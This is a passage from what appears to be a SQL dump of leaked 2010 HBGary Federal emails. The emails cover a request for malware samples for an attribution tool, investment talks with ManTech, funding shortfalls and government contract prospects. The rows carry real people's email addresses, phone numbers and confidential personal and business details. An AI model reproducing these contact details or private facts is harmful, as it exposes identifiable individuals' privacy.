bill.phelps@accenture.com; bmalexia@rockwellcollins.com;\r\n> ccpalmer@us.ibm.com; coxld@saic.com; david_joslin@federal.dell.com;\r\n> dusty.wince@knowledgecg.com; ed.gibson@us.pwc.com; gjg@mitre.org;\r\n> jkoenig@harris.com; john.osterholz@baesystems.com; jpayne@telcordia.com;\r\n> jreagan@deloitte.com; jwatters@isightpartners.com; kathy.warden@ngc.com;\r\n> kenneth.sannicolas@stanleyassociates.com;\r\n> lance.cottrell@abraxascorp.com; michael.fraser@usis.com;\r\n> nadia.short@gd-ais.com; pat.burke@sra.com; rdix@juniper.net;\r\n> rodney.joffe@neustar.biz; roger_anderson@appsig.com; samuel.chun@hp.com;\r\n> scottmil@microsoft.com; shawn.carroll@qwest.com;\r\n> skip.foote@americansystems.com; steve_k_hawkins@raytheon.com;\r\n> svisner@csc.com; tiffany_jones@symantec.com; wcooper@cisco.com;\r\n> zazmi@caci.com; Jim Garrettson; jd@executivebiz.com; Jennifer Jordan -\r\n> Harrell\r\n> Subject: Attribution\r\n> \r\n> All,\r\n> \r\n> I am sending this request to a small group of individuals.  Please do\r\n> not forward this email to third parties.  HBGary is working hard to\r\n> solve the attribution problem.  We have developed a fingerprint tool\r\n> which extracts toolmarks left behind in malware executables.  We use\r\n> these toolmarks to cluster exploits together which were compiled on the\r\n> same computer system or development environment.  Notice the clusters in\r\n> the graphic below.  These groupings illustrate the relationships between\r\n> over 3000 malware samples.\r\n> \r\n> We need your help to further validate and improve the tool.  Eventually\r\n> you can imagine combining this data with open source and intelligence\r\n> data.  I can see attribution as potentially a solvable problem.  We need\r\n> your malware samples, as many as you can provide.  This is not something\r\n> we are looking to profit from directly, we will be giving this tool away\r\n> at Blackhat, so helping us improve the tool will help the community beat\r\n> back the threat.  If possible please have your representative CISOs or\r\n> cybersecurity personnel send malware samples in a password protected zip\r\n> file.  Provide the password via phone 719-510-8478 or fax to:\r\n> 720-836-4208 we need your samples as soon as possible.  Samples provided\r\n> will not be shared with third parties and your participation will be\r\n> held in strict confidence.\r\n> \r\n> In exchange for your help, I will provide you with a summary report of\r\n> our findings and you will have made a significant contribution to\r\n> securing America\'s networks. \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal LLC.\r\n> \r\n',16352,'aaron_hbgary_com/16352.html'),(8721,'2010-07-17','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006687.M83292P14101Q3573.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: capability','Aaron - \r\n\r\nI\'m sorry I wasn\'t able to reach you today.  If you have some time tomorrow\r\nmorning, we could speak then.  My mobile number is 909.234.9907.\r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer & Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n> From: Aaron Barr \r\n> Date: Thu, 15 Jul 2010 22:44:33 -0400\r\n> To: Tim Riesen \r\n> Subject: Re: capability\r\n> \r\n> great.  719.510.8478\r\n> \r\n> I wasn\'t thinking of a role per se.  I remember Jeff vaguely from is DIOC days\r\n> and remember that he was a good guy.  I haven\'t really worked directly with\r\n> Phase1 but I know Gerry and Chris have a good amount of experience and it\r\n> hasn\'t been overly positive.\r\n> \r\n> I have to tell you Tim I am looking forward to working with you guys.  I am\r\n> not impressed often by most companies in this space but you guys seem to have\r\n> some really great capabilities that leveraged with the rest of our team is\r\n> going to be very effective.\r\n> \r\n> I met up with the government folks from the COIN organization today.  We are\r\n> in good shape.  RFP is going to drop in August.\r\n> \r\n> Aaron\r\n> \r\n> On Jul 15, 2010, at 10:27 PM, Tim Riesen wrote:\r\n> \r\n>> Aaron - \r\n>> \r\n>> Thanks for your note.  We can definitely speak tomorrow - I am flying from\r\n>> 0800 EDT until 1500 EDT.  I will call you after. What number should I use to\r\n>> reach you.  \r\n>> \r\n>> Interesting that you ran into Jeff.  I never worked with him but have heard\r\n>> good things about him.  Are you thinking there might be a role for them on\r\n>> COIN?  \r\n>> \r\n>> Tim \r\n>> \r\n>> ________________________________________\r\n>> Tim Riesen, Ph.D.\r\n>> Chief Operating Officer & Senior Vice President\r\n>> Archimedes Global, Inc.\r\n>> Tel:   800.670.2390 ext 503\r\n>> Fax:  866.347.0827\r\n>> \r\n>> \r\n>> \r\n>> \r\n>>> From: Aaron Barr \r\n>>> Date: Thu, 15 Jul 2010 21:34:59 -0400\r\n>>> To: Tim Riesen \r\n>>> Subject: capability\r\n>>> \r\n>>> Tim,\r\n>>> \r\n>>> About the capability you told me about the other day.  Too good of a\r\n>>> capability I can\'t get it out of my head.  So I talked briefly to someone I\r\n>>> know that could schedule some meetings with the senior folks I mentioned.  I\r\n>>> am going to have a discussion with him on Monday.  Can we talk before then\r\n>>> just so I make sure I don\'t screw up the details.\r\n>>> \r\n>>> Funny thing I was at a small dinner hosted by OSD ATL tonight for the IO\r\n>>> CMDR\r\n>>> EUCOM, sitting next to me was jeff castelli from Phase1.  I think there may\r\n>>> be\r\n>>> some opportunities in the future to help shape some IO strategy for EUCOM.\r\n>>> He\r\n>>> said he was excited by what we discussed.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n',7787,'aaron_hbgary_com/7787.html'),(8722,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006687.M964839P14101Q3577.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: EXTERNAL:Attribution','Dude did u see the graph! &nbsp;Is that friggin awesome!Sent from my iPhoneOn Jul 16, 2010, at 11:29 PM, \"Winterfeld, Steven P (TASC)\" &lt;steven.winterfeld@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\nTold Ted - TASC still on NGGN\r\n\r\nGuy I emailed you about your code stash has NGC mal code\r\n\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Fri Jul 16 21:27:11 2010\r\nSubject: EXTERNAL:Attribution\r\n\r\nI am sending this request to a small group of individuals.&nbsp; Please do not forward this email to third parties.&nbsp; HBGary is working hard to help solve the attribution problem.&nbsp; We have developed a fingerprint tool which extracts toolmarks left behind in malware executables.&nbsp; We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.&nbsp; Notice the clusters in the graphic below. These groupings illustrate the relationships between over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.&nbsp; Eventually you can imagine combining this data with open source and intelligence data.&nbsp; I can see attribution as potentially a solvable problem.&nbsp; We need your malware samples, as many as you can provide.&nbsp; This is not something we are looking to profit from directly, we will be giving this tool away at Blackhat, so helping us improve the tool will help the community beat back the threat.&nbsp; If possible please have your representative CISOs or cybersecurity personnel send malware samples in a password protected zip file.&nbsp; Provide the password via phone 719-510-8478 or fax to:&nbsp; 720-836-4208 we need your samples as soon as possible.&nbsp; Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our findings and you will have made a significant contribution to securing America\'s networks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11624,'aaron_hbgary_com/11624.html'),(8723,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006688.M172499P14101Q3578.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Facebook Redesigns Event Pages','Another of our ideas.Facebook Redesigns Event PagesFacebook has rolled out a redesign of its Events Pages. The company has yet to publicly announce the new design, but the alterations are drastic enough that any user who visits an Event Page would immediately notice the changes.The new Facebook Event Pages now show attendee information on the left-hand side of the page, position the event RSVP options as buttons in the upper right-hand corner, include the standard Facebook Publisher and make the Event Page feed appear more prominent (as seen above). Essentially, the Event Pages are styled to more closely mirror the design of profiles and other Pages.The makeover doesn’t appear to include any additional functionality, but the redesign was a much needed facelift to the aged look of the previous Event Pages. We imagine that the motivation for the new design was simply to standardize the Facebook look across the site.Reviews: Facebook, pagesMore About: facebook, facebook event pagesFor more Social Media coverage:Follow Mashable Social Media on TwitterBecome a Fan on FacebookSubscribe to the Social Media channelDownload our free apps for iPhone and iPad\r\n\r\n\r\n          \r\nSent from my iPhone',6519,'aaron_hbgary_com/6519.html'),(8724,'2010-07-17','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006688.M428011P14101Q3579.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Attribution','Actually sounds very interesting. For a minority investment, we could\r\npretty much do what we want.\r\n\r\nWe\'ll talk.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, July 17, 2010 8:57 AM\r\nTo: Varner, Bill\r\nSubject: Re: Attribution\r\n\r\nI think we have made a big step forward but this needs to be combined\r\nwith open source and intel data to really make the big strides.\r\n\r\nThere will be lots of skeptics, that\'s good, maybe there is something we\r\ndidn\'t get right or could have done better.  But I think we are on to\r\nsomething.  Interested as well to see the reaction.\r\n\r\nWe will have a booth at blackhat so please stop by and we can introduce\r\nyou to Greg.\r\n\r\nOne other thought.  I am not sure what types of companies you invest in\r\n(service vs product) but there are a few technologies I would like to\r\ndevelop and will over time but would like do it faster if I could.  That\r\nwould require more funds than we have.  Just a thought.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 17, 2010, at 8:29 AM, \"Varner, Bill\" \r\nwrote:\r\n\r\n> If you can really solve the attribution problem you will be a hero!\r\n> \r\n> I\'ll be at Black Hat and Defcon...it will be interesting to see the\r\n> reaction - lots of skeptics I\'m sure.\r\n> \r\n> I will talk with Larry about our meeting with Penny this week.\r\n> \r\n> Thanks for setting up the meeting.\r\n> \r\n> Bill \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 9:45 PM\r\n> To: Varner, Bill\r\n> Cc: alexander.miller@l-3com.com; barbara.g.fast@boeing.com;\r\n> bill.phelps@accenture.com; bmalexia@rockwellcollins.com;\r\n> ccpalmer@us.ibm.com; coxld@saic.com; david_joslin@federal.dell.com;\r\n> dusty.wince@knowledgecg.com; ed.gibson@us.pwc.com; gjg@mitre.org;\r\n> jkoenig@harris.com; john.osterholz@baesystems.com;\r\njpayne@telcordia.com;\r\n> jreagan@deloitte.com; jwatters@isightpartners.com;\r\nkathy.warden@ngc.com;\r\n> kenneth.sannicolas@stanleyassociates.com;\r\n> lance.cottrell@abraxascorp.com; michael.fraser@usis.com;\r\n> nadia.short@gd-ais.com; pat.burke@sra.com; rdix@juniper.net;\r\n> rodney.joffe@neustar.biz; roger_anderson@appsig.com;\r\nsamuel.chun@hp.com;\r\n> scottmil@microsoft.com; shawn.carroll@qwest.com;\r\n> skip.foote@americansystems.com; steve_k_hawkins@raytheon.com;\r\n> svisner@csc.com; tiffany_jones@symantec.com; wcooper@cisco.com;\r\n> zazmi@caci.com; Jim Garrettson; jd@executivebiz.com; Jennifer Jordan -\r\n> Harrell\r\n> Subject: Attribution\r\n> \r\n> All,\r\n> \r\n> I am sending this request to a small group of individuals.  Please do\r\n> not forward this email to third parties.  HBGary is working hard to\r\n> solve the attribution problem.  We have developed a fingerprint tool\r\n> which extracts toolmarks left behind in malware executables.  We use\r\n> these toolmarks to cluster exploits together which were compiled on\r\nthe\r\n> same computer system or development environment.  Notice the clusters\r\nin\r\n> the graphic below.  These groupings illustrate the relationships\r\nbetween\r\n> over 3000 malware samples.\r\n> \r\n> We need your help to further validate and improve the tool.\r\nEventually\r\n> you can imagine combining this data with open source and intelligence\r\n> data.  I can see attribution as potentially a solvable problem.  We\r\nneed\r\n> your malware samples, as many as you can provide.  This is not\r\nsomething\r\n> we are looking to profit from directly, we will be giving this tool\r\naway\r\n> at Blackhat, so helping us improve the tool will help the community\r\nbeat\r\n> back the threat.  If possible please have your representative CISOs or\r\n> cybersecurity personnel send malware samples in a password protected\r\nzip\r\n> file.  Provide the password via phone 719-510-8478 or fax to:\r\n> 720-836-4208 we need your samples as soon as possible.  Samples\r\nprovided\r\n> will not be shared with third parties and your participation will be\r\n> held in strict confidence.\r\n> \r\n> In exchange for your help, I will provide you with a summary report of\r\n> our findings and you will have made a significant contribution to\r\n> securing America\'s networks. \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal LLC.\r\n> \r\n',10436,'aaron_hbgary_com/10436.html'),(8725,'2010-07-17','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297006688.M629312P14101Q3580.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Active defense and tmc.','Thanks for your note Aaron. Confidentially, I resigned from NG\r\nyesterday.  I\'ll send a note where/when I land.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 1:56 PM\r\nTo: Leary, Mark F (IS)\r\nSubject: EXTERNAL:Active defense and tmc.\r\n\r\nHey mark,\r\n\r\nFirst question how are you doing?  You had a small run of medical set\r\nbacks last we talked.  So on top of wondering how you\'re doing.  I\r\nwould like to set up a meeting or webex to show you our active defense\r\nsoftware for enterprise malware detection and the tmc, our volume\r\nmalware processor and see what you think.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',1408,'aaron_hbgary_com/1408.html'),(8726,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006688.M891983P14101Q3581.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Attribution','Sent from my iPhoneBegin forwarded message:From: \"Varner, Bill\" &lt;Bill.Varner@ManTech.com&gt;Date: July 17, 2010 10:56:08 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: AttributionActually sounds very interesting. For a minority investment, we couldpretty much do what we want.We\'ll talk.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Saturday, July 17, 2010 8:57 AMTo: Varner, BillSubject: Re: AttributionI think we have made a big step forward but this needs to be combinedwith open source and intel data to really make the big strides.There will be lots of skeptics, that\'s good, maybe there is something wedidn\'t get right or could have done better. &nbsp;But I think we are on tosomething. &nbsp;Interested as well to see the reaction.We will have a booth at blackhat so please stop by and we can introduceyou to Greg.One other thought. &nbsp;I am not sure what types of companies you invest in(service vs product) but there are a few technologies I would like todevelop and will over time but would like do it faster if I could. &nbsp;Thatwould require more funds than we have. &nbsp;Just a thought.AaronSent from my iPhoneOn Jul 17, 2010, at 8:29 AM, \"Varner, Bill\" &lt;Bill.Varner@ManTech.com&gt;wrote:If you can really solve the attribution problem you will be a hero!I\'ll be at Black Hat and Defcon...it will be interesting to see thereaction - lots of skeptics I\'m sure.I will talk with Larry about our meeting with Penny this week.Thanks for setting up the meeting.Bill -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, July 16, 2010 9:45 PMTo: Varner, BillCc: alexander.miller@l-3com.com; barbara.g.fast@boeing.com;bill.phelps@accenture.com; bmalexia@rockwellcollins.com;ccpalmer@us.ibm.com; coxld@saic.com; david_joslin@federal.dell.com;dusty.wince@knowledgecg.com; ed.gibson@us.pwc.com; gjg@mitre.org;jkoenig@harris.com; john.osterholz@baesystems.com;jpayne@telcordia.com;jreagan@deloitte.com; jwatters@isightpartners.com;kathy.warden@ngc.com;kenneth.sannicolas@stanleyassociates.com;lance.cottrell@abraxascorp.com; michael.fraser@usis.com;nadia.short@gd-ais.com; pat.burke@sra.com; rdix@juniper.net;rodney.joffe@neustar.biz; roger_anderson@appsig.com;samuel.chun@hp.com;scottmil@microsoft.com; shawn.carroll@qwest.com;skip.foote@americansystems.com; steve_k_hawkins@raytheon.com;svisner@csc.com; tiffany_jones@symantec.com; wcooper@cisco.com;zazmi@caci.com; Jim Garrettson; jd@executivebiz.com; Jennifer Jordan -HarrellSubject: AttributionAll,I am sending this request to a small group of individuals. &nbsp;Please donot forward this email to third parties. &nbsp;HBGary is working hard tosolve the attribution problem. &nbsp;We have developed a fingerprint toolwhich extracts toolmarks left behind in malware executables. &nbsp;We usethese toolmarks to cluster exploits together which were compiled onthesame computer system or development environment. &nbsp;Notice the clustersinthe graphic below. &nbsp;These groupings illustrate the relationshipsbetweenover 3000 malware samples.We need your help to further validate and improve the tool.Eventuallyyou can imagine combining this data with open source and intelligencedata. &nbsp;I can see attribution as potentially a solvable problem. &nbsp;Weneedyour malware samples, as many as you can provide. &nbsp;This is notsomethingwe are looking to profit from directly, we will be giving this toolawayat Blackhat, so helping us improve the tool will help the communitybeatback the threat. &nbsp;If possible please have your representative CISOs orcybersecurity personnel send malware samples in a password protectedzipfile. &nbsp;Provide the password via phone 719-510-8478 or fax to:720-836-4208 we need your samples as soon as possible. &nbsp;Samplesprovidedwill not be shared with third parties and your participation will beheld in strict confidence.In exchange for your help, I will provide you with a summary report ofour findings and you will have made a significant contribution tosecuring America\'s networks. Aaron BarrCEOHBGary Federal LLC.',540,'aaron_hbgary_com/540.html'),(8727,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006689.M136162P14101Q3582.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Future','If it\'s the direction we choose, yes. ManTech is interested if we are.AaronSent from my iPhoneOn Jul 16, 2010, at 11:42 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:Can we explore outside investment?&nbsp; That is, Mantech or Blackbird to name two?\r\n&nbsp;\r\n-Greg\r\nOn Fri, Jul 16, 2010 at 1:43 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nOK, sounds good\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, July 16, 2010 12:17 PMTo: Penny Leavy-Hoglund\r\n\r\n\r\nCc: Greg Hoglund; Ted VeraSubject: Re: FutureYep but your the majority stake holder so I wanted to get your thoughtsfirst. &nbsp;A call next week would be good. &nbsp;I\'ll look to set something up\r\nbeginning of the week and see how it falls out.AaronSent from my iPhoneOn Jul 16, 2010, at 3:06 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n&gt; First, you have a board you need to work with so this isnt\' just a callwith&gt; me, it is with all investors. &nbsp;We can set up a time next week&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, July 16, 2010 11:03 AM&gt; To: Penny Leavy; Greg Hoglund&gt; Cc: Ted Vera&gt; Subject: Future&gt;&gt; Penny,&gt;&gt; Do you have time to talk about possible investment around HBGary Federal\r\n&gt; today? &nbsp;I am feeling pretty good about what we have lined up for the fall&gt; but we are going to have some gaps between now and then that I don\'t know&gt; how we make it through. &nbsp;If I had the money I would pour it in, and I know\r\n&gt; Ted would as well, but we just don\'t. &nbsp;I have put in as much as I can butam&gt; not personally strapped for cash to the point that if I miss another checkI&gt; will be missing bills.&gt;&gt; On the positive side, our old work RFP is going to drop in August. &nbsp;I am\r\n&gt; extremely confident about this work. &nbsp;I met with my buddy who runs thisfor&gt; the government and he really wants us back in there. &nbsp;We have put together&gt; an unbelievable team.&gt;&gt; NG Xetron called me yesterday, they are having staffing problems for some\r\nof&gt; their classified IO work, I am hoping we can staff some of those positions&gt; soon.&gt;&gt; Mantech has had me sign 3 NDAs and said that we have capabilities that can&gt; support existing work, we are also going after Gatorbait as a sub to them\r\n&gt; (they are the incumbent). &nbsp;If they win the FBI ESOC work they want to talk&gt; about how we can help them out.&gt;&gt;&gt; The Chief architect of CDC is friends with Ted and is going to have Ted do\r\n&gt; demos to his staff and then afterwards they are going to the beachtogether.&gt; (wink wink nudge nudge know what I mean).&gt;&gt; I am not participating in some very senior small groups in cyber and\r\ngetting&gt; senior level government access. &nbsp;While this doesn\'t directly translate to&gt; work. &nbsp;In my process of discussion of cyber problems I mention HBGary and&gt; HBGary Fed capabilities regularly. &nbsp;That can not be bad thing. &nbsp;Example\r\nout&gt; of the 4 hour meeting yesterday I probably had the mic for about 90minutes&gt; and managed to mention all of our capabilities within the context ofsolving&gt; tough problems.&gt; CMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\n&gt; Social Media, and Influence of local populations. (REALLY!!!!)&gt;&gt; So we are on a very strong path for a startup company we just need alittle&gt; gap coverage and someone like Mantech might be able to help with that, it\r\n&gt; won\' t take much.&gt;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&gt;\r\n',6508,'aaron_hbgary_com/6508.html'),(8728,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006689.M371216P14101Q3583.eml','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','Re: EXTERNAL:Active defense and tmc.','Great.  Good luck I am sure it\'s a move in the right direction.\r\n\r\nTalk to you soon.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 17, 2010, at 10:56 AM, \"Leary, Mark F (IS)\"  wrote:\r\n\r\n> Thanks for your note Aaron. Confidentially, I resigned from NG\r\n> yesterday.  I\'ll send a note where/when I land.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, July 15, 2010 1:56 PM\r\n> To: Leary, Mark F (IS)\r\n> Subject: EXTERNAL:Active defense and tmc.\r\n>\r\n> Hey mark,\r\n>\r\n> First question how are you doing?  You had a small run of medical set\r\n> backs last we talked.  So on top of wondering how you\'re doing.  I\r\n> would like to set up a meeting or webex to show you our active defense\r\n> software for enterprise malware detection and the tmc, our volume\r\n> malware processor and see what you think.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',8985,'aaron_hbgary_com/8985.html'),(8729,'2010-07-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006689.M619122P14101Q3584.eml','\"Aaron Barr\" <adbarr@mac.com>','@socialmedia2day, 7/17/10 12:28 PM','Social Media Today (@socialmedia2day)7/17/10 12:28 PMHow to Avoid the Social Media Catch-22 http://goo.gl/fb/blp81  #smSent with Twitter for iPhoneSent from my iPhone',4380,'aaron_hbgary_com/4380.html'),(8730,'2010-07-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006689.M856441P14101Q3585.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Future','Of course we need to discuss - but outside investment might make sense.\r\n \r\n-Greg\r\nOn Sat, Jul 17, 2010 at 8:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nIf it&#39;s the direction we choose, yes. ManTech is interested if we are.\r\n\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 11:42 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCan we explore outside investment?  That is, Mantech or Blackbird to name two?\r\n \r\n-Greg\r\nOn Fri, Jul 16, 2010 at 1:43 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\nOK, sounds good\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, July 16, 2010 12:17 PMTo: Penny Leavy-Hoglund\r\n\r\n\r\nCc: Greg Hoglund; Ted VeraSubject: Re: FutureYep but your the majority stake holder so I wanted to get your thoughtsfirst.  A call next week would be good.  I&#39;ll look to set something upbeginning of the week and see how it falls out.\r\nAaronSent from my iPhoneOn Jul 16, 2010, at 3:06 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n&gt; First, you have a board you need to work with so this isnt&#39; just a callwith&gt; me, it is with all investors.  We can set up a time next week&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, July 16, 2010 11:03 AM&gt; To: Penny Leavy; Greg Hoglund&gt; Cc: Ted Vera&gt; Subject: Future&gt;&gt; Penny,&gt;&gt; Do you have time to talk about possible investment around HBGary Federal\r\n&gt; today?  I am feeling pretty good about what we have lined up for the fall&gt; but we are going to have some gaps between now and then that I don&#39;t know&gt; how we make it through.  If I had the money I would pour it in, and I know\r\n&gt; Ted would as well, but we just don&#39;t.  I have put in as much as I can butam&gt; not personally strapped for cash to the point that if I miss another checkI&gt; will be missing bills.&gt;&gt; On the positive side, our old work RFP is going to drop in August.  I am\r\n&gt; extremely confident about this work.  I met with my buddy who runs thisfor&gt; the government and he really wants us back in there.  We have put together&gt; an unbelievable team.&gt;&gt; NG Xetron called me yesterday, they are having staffing problems for some\r\nof&gt; their classified IO work, I am hoping we can staff some of those positions&gt; soon.&gt;&gt; Mantech has had me sign 3 NDAs and said that we have capabilities that can&gt; support existing work, we are also going after Gatorbait as a sub to them\r\n&gt; (they are the incumbent).  If they win the FBI ESOC work they want to talk&gt; about how we can help them out.&gt;&gt;&gt; The Chief architect of CDC is friends with Ted and is going to have Ted do\r\n&gt; demos to his staff and then afterwards they are going to the beachtogether.&gt; (wink wink nudge nudge know what I mean).&gt;&gt; I am not participating in some very senior small groups in cyber and\r\ngetting&gt; senior level government access.  While this doesn&#39;t directly translate to&gt; work.  In my process of discussion of cyber problems I mention HBGary and&gt; HBGary Fed capabilities regularly.  That can not be bad thing.  Example\r\nout&gt; of the 4 hour meeting yesterday I probably had the mic for about 90minutes&gt; and managed to mention all of our capabilities within the context ofsolving&gt; tough problems.&gt; CMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\n&gt; Social Media, and Influence of local populations. (REALLY!!!!)&gt;&gt; So we are on a very strong path for a startup company we just need alittle&gt; gap coverage and someone like Mantech might be able to help with that, it\r\n&gt; won&#39; t take much.&gt;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&gt;\r\n',10731,'aaron_hbgary_com/10731.html'),(8731,'2010-07-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006690.M329431P14101Q3587.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Reading material for Monday call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI just put the check in the mail.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 4:01 PM\r\nTo: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Reading material for Monday call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFunding\r\nis definitely an issue between now and the fall (October). &nbsp;July round of\r\nfunding is not complete and that will only carry us (including the VAPT we are\r\ndoing for LANL in early august for 30k) to September. &nbsp;To meet payroll we\r\nhave not been able to pay our full taxes to date. &nbsp;So we either need to\r\nfront load funding as we had discussed months ago or we need to seek external\r\nfunding.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nthe positive side, our old work RFP is going to drop in August. &nbsp;I\r\nam&nbsp;extremely confident about this work. &nbsp;I met with my buddy who runs\r\nthis for&nbsp;the government and he really wants us back in there. &nbsp;We\r\nhave put together&nbsp;an unbelievable team. &nbsp;And this would result in a\r\nminimum of 5 FTEs very conservative.\r\n\r\nNG Xetron called me yesterday, they are having\r\nstaffing problems for some of&nbsp;their classified IO work, I am hoping we can\r\nstaff some of those positions&nbsp;soon.\r\n\r\nMantech has had me sign 3 NDAs and said that we\r\nhave capabilities that can&nbsp;support existing work, we are also going after\r\nGatorbait as a sub to them&nbsp;(they are the incumbent). &nbsp;If they win the\r\nFBI ESOC work they want to talk&nbsp;about how we can help them out.\r\n\r\nThe Chief architect of CDC is friends with Ted and\r\nis going to have Ted do&nbsp;demos to his staff and then afterwards they are\r\ngoing to the beach together.&nbsp;(wink wink nudge nudge know what I mean).\r\n\r\nI am participating in some very senior small\r\ngroups in cyber and getting&nbsp;senior level government access. &nbsp;While\r\nthis doesn\'t directly translate to&nbsp;work. &nbsp;In my process of discussion\r\nof cyber problems I mention HBGary and&nbsp;HBGary Fed capabilities regularly.\r\n&nbsp;That can not be bad thing. &nbsp;Example out&nbsp;of the 4 hour meeting\r\nyesterday I probably had the mic for about 90 minutes&nbsp;and managed to\r\nmention all of our capabilities within the context of solving&nbsp;tough\r\nproblems.\r\nCMDR IO for EUCOM top 3 problems: Attribution and\r\nThreat Intelligence,&nbsp;Social Media, and Influence of local populations.\r\n(REALLY!!!!)\r\n\r\nThere are other opportunities we are tracking and\r\ninvolved in but these are the nearest term.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlso\r\nI am getting lots of good response on our social media focus and upcoming\r\nofferings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo we 